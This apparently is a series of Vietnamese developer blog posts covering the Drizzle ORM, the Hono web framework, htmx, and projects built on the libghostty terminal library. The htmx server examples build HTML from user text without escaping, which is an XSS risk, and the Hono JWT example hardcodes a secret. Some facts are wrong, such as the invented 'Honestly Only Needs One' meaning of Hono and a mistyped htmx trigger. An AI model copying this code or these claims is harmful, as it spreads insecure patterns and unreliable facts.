const result = await db.select()
  .from(posts)
  .leftJoin(users, eq(posts.authorId, users.id))
// result: { posts: Post; users: User | null }[]

// JOIN với Drizzle relations (cần db.query)
const result = await db.query.posts.findMany({
  with: {
    author: true,
  },
})
// result: { id: number; title: string; authorId: number; author: User }[]

Connection cho Edge

Cloudflare Workers (D1)

import { drizzle } from 'drizzle-orm/d1'

export default {
  async fetch(request, env) {
    const db = drizzle(env.DB) // env.DB = D1 binding

    const posts = await db.select().from(users)
    return Response.json(posts)
  }
}

Neon (Serverless PostgreSQL)

import { drizzle } from 'drizzle-orm/neon-http'
import { neon } from '@neondatabase/serverless'

const sql = neon(process.env.DATABASE_URL!)
const db = drizzle(sql)

const result = await db.select().from(users)

Bun + SQLite

import { drizzle } from 'drizzle-orm/bun-sqlite'
import { Database } from 'bun:sqlite'

const sqlite = new Database('blog.db')
const db = drizzle(sqlite)

Migration

Push (dev)

npx drizzle-kit push
# Sync schema → DB trực tiếp

Generate migration

npx drizzle-kit generate
# Tạo SQL migration file

-- drizzle/migrations/0000_xxxx.sql
CREATE TABLE `users` (
  `id` integer PRIMARY KEY AUTOINCREMENT NOT NULL,
  `name` text NOT NULL,
  `email` text NOT NULL
);
--> statement-breakpoint
CREATE UNIQUE INDEX `users_email_unique` ON `users` (`email`);

Apply migration

npx drizzle-kit migrate

Prepared Statements

// Drizzle tự động prepared statements
const stmt = db.select()
  .from(users)
  .where(eq(users.email, sql.placeholder('email')))
  .prepare('get_user_by_email')

// Dùng lại — chỉ parse 1 lần
const user1 = await stmt.execute({ email: 'alice@example.com' })
const user2 = await stmt.execute({ email: 'bob@example.com' })

Raw SQL

import { sql } from 'drizzle-orm'

// Query raw — vẫn type-safe với template
const users = await db.execute(
  sql`SELECT * FROM users WHERE email = ${email}`
)

// SQL fragment
const activeUsers = await db.select()
  .from(users)
  .where(sql`${users.status} = 'active'`)

Khi Nào Dùng Drizzle?

✅ Nên dùng

Edge deployment — Cloudflare Workers, Deno Deploy
Serverless — Neon, PlanetScale, Turso
Dự án TypeScript — muốn type-safe mà không codegen
SQL-first team — thích viết SQL, không muốn ORM che giấu
Bundle size quan trọng — ~500KB vs Prisma ~30MB

❌ Không nên

Cần admin UI / dashboard — Prisma Studio tốt hơn
Schema phức tạp, nhiều relation — Prisma relations API dễ hơn
Dùng Prisma rồi, đang ổn — migration không đáng
Cần GraphQL integration — Prisma + GraphQL ecosystem mạnh hơn

So Sánh Query

Drizzle

const result = await db.select({
  id: posts.id,
  title: posts.title,
  authorName: users.name,
})
.from(posts)
.leftJoin(users, eq(posts.authorId, users.id))
.where(eq(posts.published, true))
.orderBy(desc(posts.createdAt))

Prisma

const result = await prisma.post.findMany({
  where: { published: true },
  select: {
    id: true,
    title: true,
    author: { select: { name: true } },
  },
  orderBy: { createdAt: 'desc' },
})

Drizzle gần SQL hơn — bạn biết SQL là bạn biết Drizzle. Prisma abstraction cao hơn, nhưng khi cần raw SQL thì khó hơn.

Tổng Kết

Drizzle chiếm chỗ riêng: TypeScript ORM nhẹ, SQL-like, edge-native.

| | Prisma | Drizzle | |---|---|---| | Bundle | ~30MB | ~500KB | | Codegen | ✅ Bắt buộc | ✅ Không cần | | Edge | ⚠️ Hạn chế | ✅ Workers, Deno, Bun | | SQL feeling | ❌ | ✅ | | Type safety | ✅ | ✅ | | Migration | ✅ | ✅ | | Raw SQL | ⚠️ | ✅ |

// Drizzle: schema → query, vài dòng là xong
const db = drizzle(env.DB)
const posts = await db.select().from(users).where(eq(users.active, true))
// ✅ Type-safe, không codegen, edge-ready

Tài liệu tham khảo

Hono — Web Framework Siêu Nhẹ Cho Edge Computing

Fri, 03 Jul 2026 00:00:00 GMT

Hono là web framework siêu nhẹ (~14KB), siêu nhanh, chạy trên mọi runtime: Cloudflare Workers, Deno, Bun, Node.js, Lambda.

import { Hono } from 'hono'

const app = new Hono()

app.get('/', (c) => c.text('Hello Hono!'))
app.get('/json', (c) => c.json({ message: 'Hello!' }))
app.post('/api/data', async (c) => {
  const body = await c.req.json()
  return c.json({ received: body })
})

export default app

Tại Sao Hono?

So Sánh Runtime

| | Express | Fastify | Hono | |---|---|---|---| | Kích thước | ~200KB | ~150KB | ~14KB | | Cloudflare Workers | ❌ | ❌ | ✅ | | Deno | ❌ | ❌ | ✅ | | Bun | ✅ | ❌ | ✅ | | Node | ✅ | ✅ | ✅ | | AWS Lambda | ❌ | ❌ | ✅ | | Router | Regexp | Trie/Regexp | Trie (nhanh nhất) | | TypeScript | OK | Tốt | Xuất sắc |

Hono không chỉ nhỏ — nó còn có router nhanh nhất trong các web framework JS (dùng Trie tree, không regexp).

Tốc Độ Router

Framework          Req/s
Hono (Trie)        ~280k
Fastify            ~220k
Express             ~15k

Với edge computing, mỗi microsecond quan trọng — Hono được tối ưu cho cold start.

Cài Đặt

mkdir hono-app && cd hono-app
npm init -y
npm install hono
npx tsc --init

Cloudflare Workers

npm create cloudflare@latest my-worker -- --template hono
cd my-worker
npm run dev

Bun

bun init -y
bun add hono

Router

import { Hono } from 'hono'

const app = new Hono()

// Static routes
app.get('/', (c) => c.text('Home'))
app.get('/about', (c) => c.text('About'))

// Dynamic params
app.get('/users/:id', (c) => {
  const id = c.req.param('id')
  return c.json({ userId: id })
})

// Query params
app.get('/search', (c) => {
  const q = c.req.query('q')
  const page = c.req.query('page') || '1'
  return c.json({ query: q, page: Number(page) })
})

// Wildcard
app.get('/files/*', (c) => {
  const path = c.req.path
  return c.text(`Serving: ${path}`)
})

// Multiple handlers (middleware chain)
app.get('/profile',
  async (c, next) => {
    const token = c.req.header('Authorization')
    if (!token) return c.text('Unauthorized', 401)
    c.set('userId', '123')
    await next()
  },
  (c) => {
    const userId = c.get('userId')
    return c.json({ profile: { id: userId, name: 'User' } })
  }
)

export default app

Middleware

Hono có middleware system giống Express nhưng nhẹ hơn:

// Built-in middleware
import { cors } from 'hono/cors'
import { logger } from 'hono/logger'
import { jwt } from 'hono/jwt'
import { etag } from 'hono/etag'
import { prettyJSON } from 'hono/pretty-json'
import { timeout } from 'hono/timeout'

const app = new Hono()

app.use('*', logger())
app.use('*', cors({ origin: 'https://example.com' }))
app.use('/api/*', timeout(5000))
app.use('*', prettyJSON())
app.use('/static/*', etag())

JWT Auth

import { jwt } from 'hono/jwt'

app.use('/admin/*', jwt({
  secret: 'my-secret-key',
}))

app.get('/admin/dashboard', (c) => {
  const payload = c.get('jwtPayload')
  return c.json({ admin: payload })
})

Custom Middleware

// Rate limiter middleware
const rateLimit = (max: number, windowMs: number) => {
  const hits = new Map<string, { count: number; reset: number }>()

  return async (c: Context, next: Next) => {
    const ip = c.req.header('CF-Connecting-IP') || 'unknown'
    const now = Date.now()
    const record = hits.get(ip)

    if (!record || now > record.reset) {
      hits.set(ip, { count: 1, reset: now + windowMs })
      return next()
    }

    if (record.count >= max) {
      return c.text('Too Many Requests', 429)
    }

    record.count++
    return next()
  }
}

app.use('/api/*', rateLimit(100, 60000))

Validation với Zod

import { z } from 'zod'
import { zValidator } from '@hono/zod-validator'

const schema = z.object({
  name: z.string().min(2).max(100),
  email: z.string().email(),
  age: z.number().int().positive().optional(),
})

app.post('/users', zValidator('json', schema), (c) => {
  const data = c.req.valid('json')
  // data: { name: string; email: string; age?: number }
  return c.json({ created: data }, 201)
})

// Validate query, param, header riêng
app.get('/posts/:id',
  zValidator('param', z.object({ id: z.string().regex(/^\d+$/) })),
  zValidator('query', z.object({ page: z.string().optional() })),
  (c) => {
    const { id } = c.req.valid('param')
    const { page } = c.req.valid('query')
    return c.json({ postId: id, page })
  }
)

RPC — Type-Safe Client

Giống tRPC, Hono có RPC mode cho type safety từ server đến client:

// server.ts
import { Hono } from 'hono'

const app = new Hono()

app.get('/users/:id', (c) => {
  const id = c.req.param('id')
  return c.json({
    id,
    name: 'Alice',
    email: 'alice@example.com',
  })
})

app.post('/users', async (c) => {
  const body = await c.req.json<{ name: string }>()
  return c.json({ id: '123', name: body.name }, 201)
})

export type AppType = typeof app
export default app

// client.ts
import { hc } from 'hono/client'
import type { AppType } from './server'

const client = hc<AppType>('http://localhost:3000')

// ✅ Tự động suy kiểu response
const res = await client.users[':id'].$get({
  param: { id: '123' },
})
const data = await res.json()
// data: { id: string; name: string; email: string }

// ✅ Input validated by type
const res2 = await client.users.$post({
  json: { name: 'Bob' },
})

Không codegen, không schema riêng — TypeScript inference thuần.

Streaming & SSE

// Server-Sent Events
app.get('/events', (c) => {
  return c.stream(async (stream) => {
    for (let i = 0; i < 10; i++) {
      await stream.write(`data: Event ${i}\n\n`)
      await stream.sleep(1000)
    }
  })
})

// Streaming response
app.get('/stream', (c) => {
  return c.stream(async (stream) => {
    for await (const chunk of readLargeFile()) {
      await stream.write(chunk)
    }
  })
})

Testing

import { Hono } from 'hono'
import { test, describe, expect } from 'bun:test'

const app = new Hono()
app.get('/hello', (c) => c.json({ message: 'Hello!' }))

describe('GET /hello', () => {
  test('should return 200', async () => {
    const res = await app.request('/hello')
    expect(res.status).toBe(200)
    expect(await res.json()).toEqual({ message: 'Hello!' })
  })
})

Không cần supertest — app.request() mock HTTP luôn.

Deploy

Cloudflare Workers

// wrangler.jsonc
{
  "name": "my-worker",
  "main": "src/index.ts",
  "compatibility_date": "2026-07-01"
}

npx wrangler deploy

Bun

import { Hono } from 'hono'
import { serve } from 'bun'

const app = new Hono()
app.get('/', (c) => c.text('Bun + Hono'))

serve(app.fetch)

Deno

import { Hono } from 'jsr:@hono/hono'

const app = new Hono()
app.get('/', (c) => c.text('Deno + Hono'))

Deno.serve(app.fetch)

Node.js

npm install @hono/node-server

import { serve } from '@hono/node-server'
import { Hono } from 'hono'

const app = new Hono()
app.get('/', (c) => c.text('Node + Hono'))

serve(app, { port: 3000 })

Khi Nào Dùng Hono?

✅ Nên dùng

Edge API — Cloudflare Workers, Deno Deploy
Serverless — cold start quan trọng
Microservices nhẹ — muốn framework tối giản
Multi-runtime — code chạy cả Workers + Node + Bun
API nhanh — cần throughput cao

❌ Không nên

Full-featured web app — cần session, template engine, ORM tích hợp (chọn NextJS/Nuxt)
Legacy Express project — migration không đáng
Cần nhiều plugin cộng đồng — Hono còn mới, ecosystem nhỏ hơn Express/Fastify

So Sánh Chi Tiết

Hono vs Express

// Express
const express = require('express')
const app = express()
app.get('/api/users/:id', async (req, res) => {
  const user = await db.findUser(req.params.id)
  res.json(user)
})

// Hono (giống, nhưng nhẹ hơn, edge-native)
import { Hono } from 'hono'
const app = new Hono()
app.get('/api/users/:id', async (c) => {
  const user = await db.findUser(c.req.param('id'))
  return c.json(user)
})

Hono API quen thuộc nếu bạn biết Express, nhưng được thiết kế cho edge: không dùng Node API, dùng Web API chuẩn (Request/Response).

Hono vs Fastify

// Fastify — plugin system mạnh, schema-based validation
fastify.post('/users', {
  schema: {
    body: {
      type: 'object',
      properties: { name: { type: 'string' } }
    }
  }
}, handler)

// Hono — Zod trực tiếp, không cần schema language
app.post('/users', zValidator('json', z.object({
  name: z.string()
})), handler)

Fastify dùng JSON Schema (Ajv). Hono dùng Zod hoặc custom parser — linh hoạt hơn, TypeScript-native hơn.

Helper phổ biến

const app = new Hono()

// Redirect
app.get('/old-path', (c) => c.redirect('/new-path', 301))

// Set cookie
app.get('/login', (c) => {
  c.header('Set-Cookie', 'session=token; HttpOnly; Secure')
  return c.text('Logged in')
})

// Custom status
app.get('/created', (c) => c.json({ id: 1 }, 201))

// Conditional response
app.get('/not-modified', (c) => c.body(null, 304))

// HTML response
app.get('/page', (c) => c.html(`
  <!DOCTYPE html>
  <h1>Hello Hono</h1>
`))

Tổng Kết

Hono là web framework phù hợp nhất cho kỷ nguyên edge computing hiện tại.

| Ưu điểm | Nhược điểm | |---|---| | ~14KB — siêu nhẹ | Ecosystem còn nhỏ | | Nhanh nhất (Trie router) | Chưa có nhiều template engine | | Chạy mọi runtime | Không ORM tích hợp | | TypeScript-first | | | RPC type-safe built-in | | | Cold start nhanh | |

# Chạy app Hono đầu tiên trong 30s
npm create cloudflare@latest my-api -- --template hono
cd my-api
npm run dev

Hono viết tắt của "Honestly Only Needs One" — đúng nghĩa: một framework cho mọi runtime.

Tài liệu tham khảo

htmx — Hypermedia Thay JSON Cho Web App

Fri, 03 Jul 2026 00:00:00 GMT

htmx là thư viện cho phép bạn xây dynamic web app mà không cần viết JavaScript. Mọi thứ qua HTML attributes.

<!-- Thay thế JSON API + client render bằng HTML từ server -->
<button hx-get="/api/load-more" hx-target="#list" hx-swap="beforeend">
  Load More
</button>

<!-- Click → GET /api/load-more → server trả HTML → append vào #list -->

Không build step, không bundle, không SPA framework. Chỉ một <script> tag và HTML.

Tại Sao htmx?

Vấn đề với SPA

// React App điển hình
// 1. Fetch JSON từ API
// 2. Parse JSON
// 3. setState
// 4. Re-render component
// 5. Handle loading/error states
// 6. Handle stale data
// 7. Bundle, build, deploy

const [data, setData] = useState(null)
const [loading, setLoading] = useState(true)

useEffect(() => {
  fetch('/api/users')
    .then(r => r.json())         // JSON parse
    .then(d => { setData(d); setLoading(false) })
}, [])

htmx

<!-- Chỉ cần HTML -->
<div hx-get="/api/users" hx-trigger="load">
  Loading...
</div>

Server trả HTML, htmx đặt vào DOM. Không JSON, không state, không re-render logic.

Cài Đặt

<!-- CDN — chỉ 1 dòng, ~14KB min+gzip -->
<script src="https://unpkg.com/htmx.org@2.0.4"></script>

<!-- Hoặc npm -->
npm install htmx

Không build step, không webpack, không vite config.

Core Attributes

hx-get / hx-post / hx-put / hx-delete

<!-- GET request -->
<button hx-get="/api/posts">Load Posts</button>

<!-- POST form -->
<form hx-post="/api/users">
  <input name="name" placeholder="Name">
  <button type="submit">Create</button>
</form>

<!-- PUT + DELETE -->
<button hx-put="/api/users/1" hx-target="#user-1">Update</button>
<button hx-delete="/api/users/1" hx-target="#user-1" hx-swap="delete">
  Delete
</button>

hx-target — Nơi đặt kết quả

<!-- Kết quả vào #result -->
<input hx-get="/api/search" hx-target="#results" name="q">

<!-- Kết quả vào chính nó (mặc định) -->
<button hx-get="/api/refresh">Refresh</button>

<!-- closest — element cha gần nhất -->
<button hx-delete="/api/items/1" hx-target="closest li" hx-swap="delete">
  Delete
</button>

hx-swap — Cách đặt vào DOM

<!-- innerHTML (mặc định) -->
<div hx-get="/api/content" hx-swap="innerHTML"></div>

<!-- outerHTML — thay thế chính element đó -->
<div hx-get="/api/replace" hx-swap="outerHTML"></div>

<!-- beforebegin / afterbegin / beforeend / afterend -->
<div hx-get="/api/more" hx-swap="beforeend" hx-target="#list">
  Load More
</div>

<!-- delete — xoá target -->
<button hx-delete="/api/todos/1" hx-target="closest li" hx-swap="delete">
  Done
</button>

<!-- none — không swap (dùng cho side effect) -->
<button hx-post="/api/log" hx-swap="none">Log</button>

hx-trigger — Khi nào gửi request

<!-- Mặc định: click cho button, submit cho form, change cho input -->
<button hx-get="/api/data">Click me</button>

<!-- load — khi element xuất hiện trong DOM -->
<div hx-get="/api/data" hx-trigger="load">Loading...</div>

<!-- reveal — khi element scroll vào viewport -->
<img hx-get="/api/image" hx-trigger="reveal">

<!-- every — interval -->
<div hx-get="/api/clock" hx-trigger="every 5s">--:--</div>

<!-- keyup + debounce -->
<input hx-get="/api/search"
       hx-trigger="keyup changed delay:300ms"
       hx-target="#results">

<!-- custom event -->
<button hx-get="/api/refresh" hx-trigger="refresh from:body">
  Manual Refresh
</button>

Form Validation

<!-- Real-time validation với htmx -->
<form hx-post="/api/users" hx-target="#form-errors">
  <div>
    <input name="email" type="email"
           hx-post="/api/validate/email"
           hx-target="next .error"
           hx-trigger="change">
    <span class="error"></span>
  </div>

  <div>
    <input name="password" type="password"
           hx-post="/api/validate/password"
           hx-target="next .error"
           hx-trigger="keyup changed delay:300ms">
    <span class="error"></span>
  </div>

  <button type="submit">Register</button>
</form>

<div id="form-errors"></div>

Server trả HTML fragment — error message hoặc success indicator.

So Sánh: React vs htmx

Todo App — React

function TodoApp() {
  const [todos, setTodos] = useState([])

  useEffect(() => {
    fetch('/api/todos')
      .then(r => r.json())
      .then(setTodos)
  }, [])

  const addTodo = async (text) => {
    const res = await fetch('/api/todos', {
      method: 'POST',
      body: JSON.stringify({ text }),
    })
    const todo = await res.json()
    setTodos([...todos, todo])
  }

  return (
    <ul>
      {todos.map(t => (
        <li key={t.id}>
          <span>{t.text}</span>
          <button onClick={() => deleteTodo(t.id)}>✕</button>
        </li>
      ))}
    </ul>
  )
}

Todo App — htmx

<!-- Load danh sách -->
<div hx-get="/api/todos" hx-trigger="load" hx-swap="innerHTML">
  Loading...
</div>

<!-- Form thêm mới -->
<form hx-post="/api/todos" hx-target="#todo-list" hx-swap="beforeend">
  <input name="text" required>
  <button type="submit">Add</button>
</form>

<!-- Server trả HTML cho mỗi todo -->
<li>
  <span>Học htmx</span>
  <button hx-delete="/api/todos/1"
          hx-target="closest li"
          hx-swap="delete">
    ✕
  </button>
</li>

Server-Side (Bất Kỳ Ngôn Ngữ Nào)

Go

func main() {
  http.HandleFunc("/api/todos", func(w http.ResponseWriter, r *http.Request) {
    todos := getTodos()
    for _, t := range todos {
      fmt.Fprintf(w, `<li>
        <span>%s</span>
        <button hx-delete="/api/todos/%d"
                hx-target="closest li"
                hx-swap="delete">✕</button>
      </li>`, t.Text, t.ID)
    }
  })

  http.HandleFunc("/api/todos/add", func(w http.ResponseWriter, r *http.Request) {
    text := r.FormValue("text")
    todo := insertTodo(text)
    fmt.Fprintf(w, `<li>
      <span>%s</span>
      <button hx-delete="/api/todos/%d" ...>✕</button>
    </li>`, todo.Text, todo.ID)
  })

  log.Fatal(http.ListenAndServe(":3000", nil))
}

Node.js (Express)

app.get('/api/todos', (req, res) => {
  const todos = db.select().from(todosTable)
  const html = todos.map(t => `
    <li>
      <span>${t.text}</span>
      <button hx-delete="/api/todos/${t.id}"
              hx-target="closest li"
              hx-swap="delete">✕</button>
    </li>
  `).join('')
  res.send(html)
})

Python (FastAPI)

@app.get("/api/todos")
async def get_todos():
    todos = await db.fetch_all("SELECT * FROM todos")
    html = ""
    for t in todos:
        html += f"""
        <li>
            <span>{t['text']}</span>
            <button hx-delete="/api/todos/{t['id']}"
                    hx-target="closest li"
                    hx-swap="delete">✕</button>
        </li>
        """
    return HTMLResponse(html)

Advanced Patterns

Infinite Scroll

<div hx-get="/api/posts?page=1" hx-trigger="load" id="post-list"></div>

<div hx-get="/api/posts?page=2"
     hx-trigger="revealed"
     hx-target="#post-list"
     hx-swap="beforeend">
  Loading more...
</div>

Lazy Loading

<!-- Chỉ load khi user scroll đến -->
<div hx-get="/api/expensive-component"
     hx-trigger="reveal"
     hx-target="this">
  <div class="skeleton">Loading...</div>
</div>

Polling

<!-- Auto-refresh dashboard -->
<div hx-get="/api/dashboard"
     hx-trigger="every 30s"
     hx-target="this">
  {{ dashboard_html|safe }}
</div>

WebSocket

<div hx-ws="connect:/ws/chat">
  <div id="messages" hx-ws="receive:#messages">
    <!-- Messages appear here -->
  </div>
  <form hx-ws="send">
    <input name="message">
    <button type="submit">Send</button>
  </form>
</div>

htmx Ecosystem

HyperScript

Scripting companion cho htmx:

<button _="on click add .active to #sidebar">
  Toggle Sidebar
</button>

<button _="on click call navigator.clipboard.writeText('copied!')">
  Copy
</button>

Alpine.js

Cho UI state phức tạp:

<div x-data="{ open: false }">
  <button @click="open = !open">Toggle</button>
  <div x-show="open" hx-get="/api/details" hx-trigger="load">
    Content
  </div>
</div>

Khi Nào Dùng htmx?

✅ Nên dùng

Server-rendered app — Django, Rails, Laravel, Go, Spring
CRUD app — form, table, search, pagination
Dashboard — polling, lazy load, real-time updates
Prototype/MVP — ship nhanh, không cần SPA stack
Team backend-heavy — frontend chỉ là HTML templates
Thay thế jQuery — legacy app cần dynamic behavior

❌ Không nên

Rich interactive UI — game, canvas, drag-and-drop phức tạp
Real-time collaborative — Google Docs, Figma
Offline-first — PWA cần client logic phức tạp
Native mobile app — React Native, Flutter, SwiftUI
Team React chuyên — không có lý do chính đáng để đổi

Tổng Kết

htmx là lời nhắc nhở: web vốn dĩ đã hypermedia. JavaScript là gia vị, không phải món chính.

<!-- Trước: SPA với JSON API
     Sau: HTML API với htmx -->

<!-- SPA:  → JSON → fetch → parse → setState → render -->
<!-- htmx: → HTML → swap vào DOM -->

<!-- htmx: 1 dòng HTML, 0 dòng JS -->
<button hx-post="/api/like" hx-target="this" hx-swap="outerHTML">
  👍 Like
</button>

| | SPA (React/Vue) | htmx | |---|---|---| | Bundle | ~100KB+ | ~14KB | | Build step | ✅ | ❌ | | State management | Redux, Zustand, Jotai | Server | | API format | JSON | HTML | | SEO | ⚠️ Cần SSR | ✅ Tự nhiên | | Accessibility | ⚠️ Tuỳ implementation | ✅ HTML native | | Learning curve | Cao | Thấp |

htmx không thay thế React cho mọi thứ. Nó thay thế React cho đa số web app — những app mà "CRUD + server-render" là đủ.

Tài liệu tham khảo

libghostty — Embed Terminal Cho Mọi Ứng Dụng

Fri, 03 Jul 2026 00:00:00 GMT

libghostty là thư viện embeddable terminal từ Ghostty — terminal emulator nổi tiếng viết bằng Zig của Mitchell Hashimoto (người sáng lập HashiCorp).

App của bạn → libghostty → Terminal emulation
              C API, zero-dep

Không phải tự viết parser VT, không xterm.js, không libvte. Một thư viện C duy nhất, không phụ thuộc gì — nhúng vào app nào cũng được.

Vấn Đề

Trước libghostty, mỗi app cần terminal đều tự làm theo cách riêng:

IDE (VS Code, JetBrains) → xterm.js / jediterm
Terminal app → tự viết VT parser
Web console (GitHub Actions, Vercel) → parse ANSI thủ công, sai đủ kiểu
SSH client → mỗi app một kiểu

Kết quả: hàng trăm implementation terminal không đầy đủ, chậm, bug.

libghostty-vt

Thư viện đầu tiên trong họ libghostty: zero-dependency, parse terminal sequence, maintain terminal state (cursor, style, wrapping...).

Zig core → C API → Bindings (Go, Rust, Python, .NET, TS, ...)
                    ↓
           App của bạn

Đặc điểm:

SIMD-optimized parsing
Unicode đầy đủ
Kitty Graphics Protocol, Tmux Control Mode
Fuzz + Valgrind tested
Không cần libc — portable khắp nơi
WASM target — chạy trong browser

Ecosystem

Từ khi ra mắt (9/2025), cộng đồng đã xây dựng 80+ project trên libghostty.

Bindings — Nhúng Vào Mọi Ngôn Ngữ

// Go — mitchellh/go-libghostty
import "github.com/mitchellh/go-libghostty"

vt := libghostty.New()
vt.Write([]byte("\x1b[31mHello\x1b[0m"))
fmt.Println(vt.Cell(0, 0).Value) // "Hello"

// Rust — Uzaaft/libghostty-rs
use libghostty_rs::VirtualTerminal;

let mut vt = VirtualTerminal::new(80, 24);
vt.write(b"\x1b[32mGreen text\x1b[0m");
println!("{}", vt.cell(0, 0).unwrap().character()); // "G"

// .NET — deblasis/libghostty-vt-dotnet
using LibGhosttyVt;

var vt = new VirtualTerminal(80, 24);
vt.Write("\e[34mBlue\e[0m");
Console.WriteLine(vt.GetCell(0, 0).Char); // "B"

# Python — luckydonald/ghosttpy-vt
from ghosttpy_vt import VirtualTerminal

vt = VirtualTerminal(80, 24)
vt.write(b"\x1b[33mYellow\x1b[0m")
print(chr(vt.cell(0, 0).char))  # "Y"

Bindings hiện có: Go, Rust, C++, Python, .NET, TypeScript, Dart (Flutter), Odin, Elixir, MoonBit, Node.js, Swift (SwiftPM).

Terminal App — Hàng Loạt Terminal Mới

Vì libghostty xử lý VT core, dev chỉ cần làm UI:

conterm — macOS terminal (SwiftUI)
macterm — macOS terminal lightweight (SwiftUI)
fantastty — macOS terminal với workspace, notes, live tab preview
Forge — macOS terminal multiplexer cho AI agents
Muxy — macOS terminal multiplexer (SwiftUI)
deepin-terminal-ghostty — Deepin Terminal cho Linux
footty — foot + libghostty (Wayland)
forgetty — GTK4 terminal cho Linux (daemon architecture)
Husk — Wayland terminal C++ nhẹ
monstar — Wayland terminal nhỏ
Dotty — .NET terminal cross-platform
mightty — Windows terminal (experimental)
phantty — Windows renderer
tildaz — Quake-style dropdown terminal (Windows + macOS)
Umbra — Android terminal GPU-accelerated
Chuchu — Android SSH client
ghosttyfx — JavaFX terminal
gostty — Go terminal (Ebitengine)
hollow — Zig terminal + LuaJIT

Mỗi app chỉ cần focus vào UI + tính năng riêng, còn terminal logic đã có libghostty.

SSH & Remote Clients

Echo — SSH/Mosh client iOS/iPadOS
Geistty — SSH terminal iOS (Metal rendering)
Quay — macOS connection manager SSH/SFTP
remux — iOS tmux client
Spectty — SSH/Mosh iOS nhanh
VVTerm — SSH iOS/iPad/macOS (iCloud sync, voice-to-command)
NeoShell — iPad remote workspace
RootShell — terminal cho Apple platforms

Web & Embedded

ghostty-web — Ghostty cho web (xterm.js API compatible, bởi coder.com)
browstty — Zig WASM module chạy libghostty trong browser
electron-libghostty — libghostty trong Electron
vscode-bootty — VS Code terminal extension (WASM)
obsidian-ghostty-terminal — Obsidian plugin
jupyterlab-ghostty-terminal — JupyterLab extension
Restty — Web terminal library (WebGPU + text-shaper)
webterm — Web terminal server dashboard
RemoteTTYs — Remote terminal từ browser (không cần mở port)

AI Agent Ecosystem

Đây là mảng phát triển nhanh nhất. AI coding agents (Claude Code, OpenCode, Codex) cần terminal để chạy lệnh — và các app đang dùng libghostty để xây workspace cho agents:

Mux (coder.com) — Desktop + browser app cho isolated agentic development
Ghostree — Ghostty fork với git worktree + AI agents support
AiyuTerm — macOS terminal workspace với multi-repo sidebar, split layouts, SSH, real-time AI agent status
Mux0 — macOS terminal với live status cho Claude Code, OpenCode, Codex
cmux — macOS terminal với vertical tabs + notifications cho AI agents
moss — macOS workspace orchestrating AI agents với multi-terminal canvas
Supacode — macOS command center chạy agents song song
limpid — macOS terminal cho kỷ nguyên AI agent
blink — AI terminal hiện đại
Zentty — macOS terminal cho agentic development (workspaces, notifications)
in0 — macOS terminal multiplexer với live AI agent status
agtmux-term — AI-agent-aware terminal (SwiftUI sidebar)
wispterm — Cross-platform workspace cho AI agents
paulatty — AI agent team workspace
ADHDev — Self-hosted control plane cho AI coding agents
moai-studio — Rust agent IDE (GPUI, libghostty-vt)
witty — AI terminal (Python + Qt6 + Rust)
YEN — Terminal-first IDE (speech-to-text, themes, notifications)
Factory Floor — macOS workspace cho parallel development + git worktrees + Claude Code
TheCommander — macOS AI workspace (diff review, git workflow)
codelima — Run coding agents trong VM sandbox cô lập
Aizen — macOS workspace cho parallel development
taskers — Agent-first terminal workspace (Rust shell, Niri-like tiling)
frep — Agentic terminal emulator

AI agent tools là mảng phát triển nóng nhất trên libghostty.

System Utilities

evp — Terminal recorder (Rust)
headless-terminal — Puppeteer cho TUI (vim, emacs, htop)
findr — File manager macOS với embedded terminal
OmniWM — macOS tiling WM với Ghostty-powered quake terminal
Ribari — Niri-inspired web browser macOS + libghostty
hauntty — Terminal session persistence (WASM)
vanish — Terminal session multiplexer nhẹ
Zmx — Session persistence cho terminal processes
term2html — ANSI → HTML converter
Trolley — Terminal runtime cho TUI apps
vterm-mcp — MCP server để drive/test TUI apps
OrbStack — Docker nhẹ trên macOS (built-in Ghostty terminal)
reed — Terminal file viewer (syntax highlight, inline images, Mermaid)
Hot Notes — macOS Notes fuzzy search
mdnb — macOS Markdown editor + embedded Ghostty terminal
pynb — macOS Jupyter notebook + Ghostty terminal
shade — Neovim-centric Swift library
emacs-libgterm — Terminal emulator cho Emacs
Ghostel — Terminal emulator cho Emacs (true color, OSC 8, Kitty keyboard)
it-shell3 — Terminal multiplexer với CJK input support

Tại Sao Lại Bùng Nổ?

3 lý do chính:

1. Zero Dependency

// Chỉ cần include header + link lib
#include <ghostty/vt.h>

ghostty_vt_t* vt = ghostty_vt_new(80, 24);
ghostty_vt_write(vt, "\e[31mRed text\e[0m");
const char* text = ghostty_vt_get_text(vt, 0, 0, 80, 24);

Không runtime, không framework, không libc. Portable: macOS, Linux, Windows, WASM.

2. Correctness

libghostty-vt kế thừa core từ Ghostty — đã được test hàng năm trên hàng triệu người dùng. SIMD-optimized, fuzz-tested, hỗ trợ đầy đủ Kitty Graphics Protocol, Tmux Control Mode, Unicode.

So sánh với tự viết hoặc dùng thư viện khác:

| Tính năng | Tự viết | xterm.js | libvte | libghostty | |---|---|---|---|---| | ANSI color | ✅ | ✅ | ✅ | ✅ | | RGB color (12 formats) | ❌ | ❌ | ✅ | ✅ | | Kitty protocol | ❌ | ❌ | ❌ | ✅ | | Tmux control mode | ❌ | ❌ | ❌ | ✅ | | Unicode | ⚠️ | ✅ | ✅ | ✅ | | SIMD | ❌ | ❌ | ❌ | ✅ | | Zero dependency | ✅ | ❌ | ❌ | ✅ | | C API | ✅ | ❌ | ✅ | ✅ | | WASM | ❌ | ✅ | ❌ | ✅ |

3. C API = Universal

C API có nghĩa là bindings cho mọi ngôn ngữ: Go, Rust, Python, .NET, TypeScript, Dart, Odin, Elixir, MoonBit, Node.js, Swift. Cộng đồng đã tự xây bindings cho ngôn ngữ họ dùng — không cần chờ team Ghostty.

Tương Lai

Mitchell Hashimoto đã công bố lộ trình: libghostty-vt chỉ là bước đầu. Tiếp theo sẽ là:

Input handling — keyboard encoding (lĩnh vực đầy rẫy edge case)
GPU rendering — cung cấp OpenGL/Metal surface, libghostty render terminal
GTK widgets + SwiftUI framework — terminal view trọn gói

Hệ sinh thái terminal đang thay đổi. Ghostty không chỉ là terminal app — nó là nền tảng.

# Xu hướng: terminal là component, không phải monolithic app
Before: Terminal app ← tự viết VT parser
After:  App của bạn ← libghostty (C API, zero-dep)

80+ project trong 9 tháng. AI agents, SSH clients, IDE plugins, web terminals — tất cả đều embed terminal từ một thư viện chung. Đây là hướng đi đúng cho hệ sinh thái terminal.

Tài liệu tham khảo

LLM Lean Log — Log CSV Tiết Kiệm Token Cho AI Agent

Fri, 03 Jul 2026 00:00:00 GMT

Bạn có bao nhiêu session chat với AI agent? Và bạn có thể quay lại session tuần trước để biết tại sao mình chọn giải pháp đó không?

